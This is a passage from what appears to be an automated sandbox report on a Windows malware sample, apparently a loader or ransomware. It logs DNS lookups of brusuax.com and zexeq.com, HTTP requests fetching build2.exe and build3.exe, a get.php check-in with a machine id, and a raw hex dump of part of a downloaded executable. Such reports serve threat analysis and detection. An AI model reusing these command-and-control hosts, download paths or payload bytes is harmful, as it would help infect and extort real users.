Jan 11, 2024 13:46:54.248723984 CET	49738	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:46:54.437772989 CET	10220	49738	49.12.114.15	192.168.2.6
Jan 11, 2024 13:46:54.437975883 CET	49738	10220	192.168.2.6	49.12.114.15

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2024 13:44:53.830452919 CET	54311	53	192.168.2.6	1.1.1.1
Jan 11, 2024 13:44:53.928766966 CET	53	54311	1.1.1.1	192.168.2.6
Jan 11, 2024 13:44:56.714366913 CET	61938	53	192.168.2.6	1.1.1.1
Jan 11, 2024 13:44:56.730495930 CET	62499	53	192.168.2.6	1.1.1.1
Jan 11, 2024 13:44:57.718713045 CET	61938	53	192.168.2.6	1.1.1.1
Jan 11, 2024 13:44:57.734318018 CET	62499	53	192.168.2.6	1.1.1.1
Jan 11, 2024 13:44:58.718839884 CET	61938	53	192.168.2.6	1.1.1.1
Jan 11, 2024 13:44:58.750037909 CET	62499	53	192.168.2.6	1.1.1.1
Jan 11, 2024 13:45:00.651705980 CET	53	61938	1.1.1.1	192.168.2.6
Jan 11, 2024 13:45:00.651748896 CET	53	61938	1.1.1.1	192.168.2.6
Jan 11, 2024 13:45:00.651761055 CET	53	61938	1.1.1.1	192.168.2.6
Jan 11, 2024 13:45:00.797017097 CET	62499	53	192.168.2.6	1.1.1.1
Jan 11, 2024 13:45:01.115365982 CET	53	62499	1.1.1.1	192.168.2.6
Jan 11, 2024 13:45:01.115422964 CET	53	62499	1.1.1.1	192.168.2.6
Jan 11, 2024 13:45:01.115461111 CET	53	62499	1.1.1.1	192.168.2.6
Jan 11, 2024 13:45:01.115493059 CET	53	62499	1.1.1.1	192.168.2.6
Jan 11, 2024 13:45:04.173131943 CET	59260	53	192.168.2.6	1.1.1.1
Jan 11, 2024 13:45:04.268330097 CET	53	59260	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2024 13:44:53.830452919 CET	192.168.2.6	1.1.1.1	0xf498	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:44:56.714366913 CET	192.168.2.6	1.1.1.1	0xc9f8	Standard query (0)	brusuax.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:44:56.730495930 CET	192.168.2.6	1.1.1.1	0xf159	Standard query (0)	zexeq.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:44:57.718713045 CET	192.168.2.6	1.1.1.1	0xc9f8	Standard query (0)	brusuax.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:44:57.734318018 CET	192.168.2.6	1.1.1.1	0xf159	Standard query (0)	zexeq.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:44:58.718839884 CET	192.168.2.6	1.1.1.1	0xc9f8	Standard query (0)	brusuax.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:44:58.750037909 CET	192.168.2.6	1.1.1.1	0xf159	Standard query (0)	zexeq.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:00.797017097 CET	192.168.2.6	1.1.1.1	0xf159	Standard query (0)	zexeq.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:04.173131943 CET	192.168.2.6	1.1.1.1	0x3dfd	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 11, 2024 13:44:53.928766966 CET	1.1.1.1	192.168.2.6	0xf498	No error (0)	api.2ip.ua	172.67.139.220	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:44:53.928766966 CET	1.1.1.1	192.168.2.6	0xf498	No error (0)	api.2ip.ua	104.21.65.24	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:00.651705980 CET	1.1.1.1	192.168.2.6	0xc9f8	No error (0)	brusuax.com	95.86.30.3	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:00.651705980 CET	1.1.1.1	192.168.2.6	0xc9f8	No error (0)	brusuax.com	211.119.84.112	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:00.651705980 CET	1.1.1.1	192.168.2.6	0xc9f8	No error (0)	brusuax.com	109.175.29.39	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:00.651705980 CET	1.1.1.1	192.168.2.6	0xc9f8	No error (0)	brusuax.com	211.53.230.67	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:00.651705980 CET	1.1.1.1	192.168.2.6	0xc9f8	No error (0)	brusuax.com	186.182.55.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:00.651705980 CET	1.1.1.1	192.168.2.6	0xc9f8	No error (0)	brusuax.com	95.107.163.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:00.651705980 CET	1.1.1.1	192.168.2.6	0xc9f8	No error (0)	brusuax.com	201.119.101.98	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:00.651705980 CET	1.1.1.1	192.168.2.6	0xc9f8	No error (0)	brusuax.com	175.120.254.9	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:00.651705980 CET	1.1.1.1	192.168.2.6	0xc9f8	No error (0)	brusuax.com	58.151.148.90	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:00.651705980 CET	1.1.1.1	192.168.2.6	0xc9f8	No error (0)	brusuax.com	190.187.52.42	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:00.651748896 CET	1.1.1.1	192.168.2.6	0xc9f8	No error (0)	brusuax.com	95.86.30.3	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:00.651748896 CET	1.1.1.1	192.168.2.6	0xc9f8	No error (0)	brusuax.com	211.119.84.112	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:00.651748896 CET	1.1.1.1	192.168.2.6	0xc9f8	No error (0)	brusuax.com	109.175.29.39	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:00.651748896 CET	1.1.1.1	192.168.2.6	0xc9f8	No error (0)	brusuax.com	211.53.230.67	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:00.651748896 CET	1.1.1.1	192.168.2.6	0xc9f8	No error (0)	brusuax.com	186.182.55.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:00.651748896 CET	1.1.1.1	192.168.2.6	0xc9f8	No error (0)	brusuax.com	95.107.163.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:00.651748896 CET	1.1.1.1	192.168.2.6	0xc9f8	No error (0)	brusuax.com	201.119.101.98	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:00.651748896 CET	1.1.1.1	192.168.2.6	0xc9f8	No error (0)	brusuax.com	175.120.254.9	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:00.651748896 CET	1.1.1.1	192.168.2.6	0xc9f8	No error (0)	brusuax.com	58.151.148.90	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:00.651748896 CET	1.1.1.1	192.168.2.6	0xc9f8	No error (0)	brusuax.com	190.187.52.42	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:00.651761055 CET	1.1.1.1	192.168.2.6	0xc9f8	No error (0)	brusuax.com	95.86.30.3	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:00.651761055 CET	1.1.1.1	192.168.2.6	0xc9f8	No error (0)	brusuax.com	211.119.84.112	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:00.651761055 CET	1.1.1.1	192.168.2.6	0xc9f8	No error (0)	brusuax.com	109.175.29.39	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:00.651761055 CET	1.1.1.1	192.168.2.6	0xc9f8	No error (0)	brusuax.com	211.53.230.67	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:00.651761055 CET	1.1.1.1	192.168.2.6	0xc9f8	No error (0)	brusuax.com	186.182.55.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:00.651761055 CET	1.1.1.1	192.168.2.6	0xc9f8	No error (0)	brusuax.com	95.107.163.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:00.651761055 CET	1.1.1.1	192.168.2.6	0xc9f8	No error (0)	brusuax.com	201.119.101.98	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:00.651761055 CET	1.1.1.1	192.168.2.6	0xc9f8	No error (0)	brusuax.com	175.120.254.9	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:00.651761055 CET	1.1.1.1	192.168.2.6	0xc9f8	No error (0)	brusuax.com	58.151.148.90	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:00.651761055 CET	1.1.1.1	192.168.2.6	0xc9f8	No error (0)	brusuax.com	190.187.52.42	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115365982 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	196.188.169.138	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115365982 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	109.175.29.39	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115365982 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	123.140.161.243	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115365982 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	175.119.10.231	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115365982 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	210.182.29.70	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115365982 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	95.158.162.200	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115365982 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	211.181.24.133	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115365982 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	175.120.254.9	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115365982 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	211.119.84.112	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115365982 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	211.168.53.110	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115422964 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	196.188.169.138	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115422964 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	109.175.29.39	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115422964 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	123.140.161.243	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115422964 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	175.119.10.231	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115422964 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	210.182.29.70	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115422964 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	95.158.162.200	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115422964 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	211.181.24.133	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115422964 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	175.120.254.9	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115422964 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	211.119.84.112	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115422964 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	211.168.53.110	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115461111 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	196.188.169.138	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115461111 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	109.175.29.39	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115461111 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	123.140.161.243	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115461111 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	175.119.10.231	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115461111 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	210.182.29.70	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115461111 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	95.158.162.200	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115461111 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	211.181.24.133	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115461111 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	175.120.254.9	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115461111 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	211.119.84.112	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115461111 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	211.168.53.110	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115493059 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	196.188.169.138	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115493059 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	109.175.29.39	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115493059 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	123.140.161.243	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115493059 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	175.119.10.231	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115493059 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	210.182.29.70	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115493059 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	95.158.162.200	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115493059 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	211.181.24.133	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115493059 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	175.120.254.9	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115493059 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	211.119.84.112	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:01.115493059 CET	1.1.1.1	192.168.2.6	0xf159	No error (0)	zexeq.com	211.168.53.110	A (IP address)	IN (0x0001)	false
Jan 11, 2024 13:45:04.268330097 CET	1.1.1.1	192.168.2.6	0x3dfd	No error (0)	t.me	149.154.167.99	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.2ip.ua

t.me

brusuax.com

zexeq.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49714	95.86.30.3	80	5044	C:\Users\user\Desktop\g0Zq7nJjus.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2024 13:45:00.871217966 CET	91	OUT	GET /dl/build2.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: brusuax.com
Jan 11, 2024 13:45:01.499622107 CET	1286	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 11 Jan 2024 12:45:01 GMT Content-Type: application/octet-stream Content-Length: 367104 Last-Modified: Wed, 10 Jan 2024 12:50:02 GMT Connection: close ETag: "659e927a-59a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 60 e6 e8 d7 24 87 86 84 24 87 86 84 24 87 86 84 3a d5 13 84 35 87 86 84 3a d5 05 84 76 87 86 84 3a d5 02 84 00 87 86 84 03 41 fd 84 27 87 86 84 24 87 87 84 78 87 86 84 3a d5 0c 84 25 87 86 84 3a d5 12 84 25 87 86 84 3a d5 17 84 25 87 86 84 52 69 63 68 24 87 86 84 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 02 ae 12 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 0e 04 00 00 b4 01 00 00 00 00 00 94 22 00 00 00 10 00 00 00 20 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 e0 05 00 00 04 00 00 57 7d 06 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 55 04 00 28 00 00 00 00 10 05 00 ca c1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 48 04 00 18 00 00 00 58 48 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 20 04 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 79 0d 04 00 00 10 00 00 00 0e 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c0 3d 00 00 00 20 04 00 00 3e 00 00 00 12 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 7c 97 00 00 00 60 04 00 00 86 00 00 00 50 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 a1 01 00 00 00 00 05 00 00 02 00 00 00 d6 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 ca c1 00 00 00 10 05 00 00 c2 00 00 00 d8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$`$$$:5:v:A'$x:%:%:%Rich$PELd" @W}\U(HXH@ t.texty `.rdata= >@@.data\|`P@.tls@.rsrc@@
Jan 11, 2024 13:45:01.499655008 CET	1286	IN	Data Raw: 56 8d 44 24 08 50 8b f1 e8 b8 0a 00 00 c7 06 b4 21 44 00 8b c6 5e c2 04 00 c7 01 b4 21 44 00 e9 c9 0b 00 00 56 8b f1 c7 06 b4 21 44 00 e8 bb 0b 00 00 f6 44 24 08 01 74 07 56 e8 84 0e 00 00 59 8b c6 5e c2 04 00 8b 44 24 08 8a 00 8b 4c 24 04 88 01 Data Ascii: VD$P!D^!DV!DD$tVY^D$L$D$P@u+UuuuuVE]Uuuuu[E]j'DueuN!DVjjN!D^y
Jan 11, 2024 13:45:01.499661922 CET	1286	IN	Data Raw: c3 ff 74 24 04 e8 6e 02 00 00 59 c2 04 00 6a 44 b8 ce 1c 44 00 e8 5c 12 00 00 68 40 48 44 00 8d 4d d8 e8 6d fc ff ff 83 65 fc 00 8d 45 d8 50 8d 4d b0 e8 62 fb ff ff 68 30 54 44 00 8d 45 b0 50 c7 45 b0 d8 21 44 00 e8 d9 0d 00 00 cc 6a 04 e8 e8 0a Data Ascii: t$nYjDD\h@HDMmeEPMbh0TDEPE!DjYt03t$MYjYVt$!D^jXjD}uvu%3j[OMmU;sjX+;w4eFjPYY
Jan 11, 2024 13:45:01.499674082 CET	1286	IN	Data Raw: 89 30 57 57 57 57 57 e8 53 14 00 00 83 c4 14 8b c6 eb 29 39 7d 10 74 e0 39 45 0c 73 0e e8 c0 14 00 00 6a 22 59 89 08 8b f1 eb d7 50 ff 75 10 ff 75 08 e8 4d 0f 00 00 83 c4 0c 33 c0 5f 5e 5d c3 8b ff 55 8b ec 8b 45 08 56 33 f6 3b c6 75 1c e8 8e 14 Data Ascii: 0WWWWWS)9}t9Esj"YPuuM3_^]UEV3;uVVVVV3@^]UEV3;uZVVVVV3@ ^]``0"DUS]VW0"Dt&PFVYYGt3VP
Jan 11, 2024 13:45:01.500585079 CET	616	IN	Data Raw: 08 e8 38 23 00 00 83 c4 0c eb c1 ff 75 0c 57 ff 75 08 e8 a7 22 00 00 83 c4 0c 39 7d 10 74 b6 39 75 0c 73 0e e8 b3 0f 00 00 6a 22 59 89 08 8b f1 eb ad 6a 16 58 5f 5e 5d c3 8b ff 55 8b ec ff 75 08 51 e8 80 26 00 00 59 59 5d c2 04 00 8b ff 51 c7 01 Data Ascii: 8#uWu"9}t9usj"YjX_^]UuQ&YY]Qt"Da'YUVEtV;Y^]UuQ'YY]Q"'YUEQP)YY@]UEQP(YY]UEQP(Y
Jan 11, 2024 13:45:01.500644922 CET	1286	IN	Data Raw: 4d e4 eb 03 89 75 e4 33 db 43 53 e8 f1 32 00 00 59 85 c0 75 08 6a 1c e8 11 ff ff ff 59 e8 c3 16 00 00 85 c0 75 08 6a 10 e8 00 ff ff ff 59 e8 7e 32 00 00 89 5d fc e8 d4 2f 00 00 85 c0 7d 08 6a 1b e8 6b 1a 00 00 59 e8 bd 2f 00 00 a3 78 f7 44 00 e8 Data Ascii: Mu3CS2YujYujY~2]/}jkY/xD\/D.}jFYU,}j5YSeY;tP#Y+]tMjYQPVh@E9uuP}5EMPQ(*YYeEE}uP
Jan 11, 2024 13:45:01.500718117 CET	1286	IN	Data Raw: 8b 75 08 89 06 e8 12 10 00 00 8b 80 98 00 00 00 89 46 04 e8 04 10 00 00 89 b0 98 00 00 00 8b c6 5e 5d c3 8b ff 55 8b ec e8 ef 0f 00 00 8b 80 98 00 00 00 eb 0a 8b 08 3b 4d 08 74 0a 8b 40 04 85 c0 75 f2 40 5d c3 33 c0 5d c3 8b ff 55 8b ec 56 e8 c7 Data Ascii: uF^]U;Mt@u@]3]UVu;uN^]H;txu^]@NHU`DeM3MEEEE@EY$@MEdEEduQu@Ed
Jan 11, 2024 13:45:01.500745058 CET	308	IN	Data Raw: 49 00 8b c7 ba 03 00 00 00 83 f9 04 72 0c 83 e0 03 2b c8 ff 24 85 a4 2b 40 00 ff 24 8d a0 2c 40 00 90 b4 2b 40 00 d8 2b 40 00 00 2c 40 00 8a 46 03 23 d1 88 47 03 83 ee 01 c1 e9 02 83 ef 01 83 f9 08 72 b2 fd f3 a5 fc ff 24 95 a0 2c 40 00 8d 49 00 Data Ascii: Ir+$+@$,@+@+@,@F#Gr$,@IF#GFGr$,@F#GFGFGV$,@IT,@\,@d,@l,@t,@\|,@,@,@DDDDDDDDD
Jan 11, 2024 13:45:01.500967026 CET	1286	IN	Data Raw: 03 88 47 03 8b 45 08 5e 5f c9 c3 8d 49 00 8a 46 03 88 47 03 8a 46 02 88 47 02 8b 45 08 5e 5f c9 c3 90 8a 46 03 88 47 03 8a 46 02 88 47 02 8a 46 01 88 47 01 8b 45 08 5e 5f c9 c3 8b ff 55 8b ec 8b 45 08 a3 44 e9 44 00 5d c3 8b ff 55 8b ec 81 ec 28 Data Ascii: GE^_IFGFGE^_FGFGFGE^_UEDD]U(`D3ESjLjP(0,ffffffEM0
Jan 11, 2024 13:45:01.501050949 CET	1286	IN	Data Raw: 00 59 e8 27 fd ff ff c7 00 0c 00 00 00 33 c0 5e 5d c3 6a 0c 68 58 4d 44 00 e8 ce 0d 00 00 8b 75 08 85 f6 74 75 83 3d 48 f6 44 00 03 75 43 6a 04 e8 5c 3a 00 00 59 83 65 fc 00 56 e8 7f 3b 00 00 59 89 45 e4 85 c0 74 09 56 50 e8 a0 3b 00 00 59 59 c7 Data Ascii: Y'3^]jhXMDutu=HDuCj\:YeV;YEtVP;YYE}u7uj09YVj5D Du0 DPUYjhxMD@M3;v.jX3;E@ueWWWWW3Mu;u3F
Jan 11, 2024 13:45:01.501064062 CET	308	IN	Data Raw: f6 0f 84 f8 00 00 00 8b 46 24 85 c0 74 07 50 e8 f8 fa ff ff 59 8b 46 2c 85 c0 74 07 50 e8 ea fa ff ff 59 8b 46 34 85 c0 74 07 50 e8 dc fa ff ff 59 8b 46 3c 85 c0 74 07 50 e8 ce fa ff ff 59 8b 46 40 85 c0 74 07 50 e8 c0 fa ff ff 59 8b 46 44 85 c0 Data Ascii: F$tPYF,tPYF4tPYF<tPYF@tPYFDtPYFHtPYF\=)DtPYj5Ye~htW DueDtWfYEWj4YE~lt#WFY;=eDtdDt?uWDYE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49715	196.188.169.138	80	5044	C:\Users\user\Desktop\g0Zq7nJjus.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2024 13:45:01.365540028 CET	137	OUT	GET /test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49716	196.188.169.138	80	5432	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2024 13:45:01.366168022 CET	126	OUT	GET /test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49717	196.188.169.138	80	5044	C:\Users\user\Desktop\g0Zq7nJjus.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2024 13:45:04.064266920 CET	94	OUT	GET /files/1/build3.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49722	196.188.169.138	80	5432	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2024 13:45:06.856358051 CET	126	OUT	GET /test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49721	196.188.169.138	80	5044	C:\Users\user\Desktop\g0Zq7nJjus.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2024 13:45:06.857769012 CET	137	OUT	GET /test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49732	196.188.169.138	80	5044	C:\Users\user\Desktop\g0Zq7nJjus.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2024 13:45:12.446296930 CET	137	OUT	GET /test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
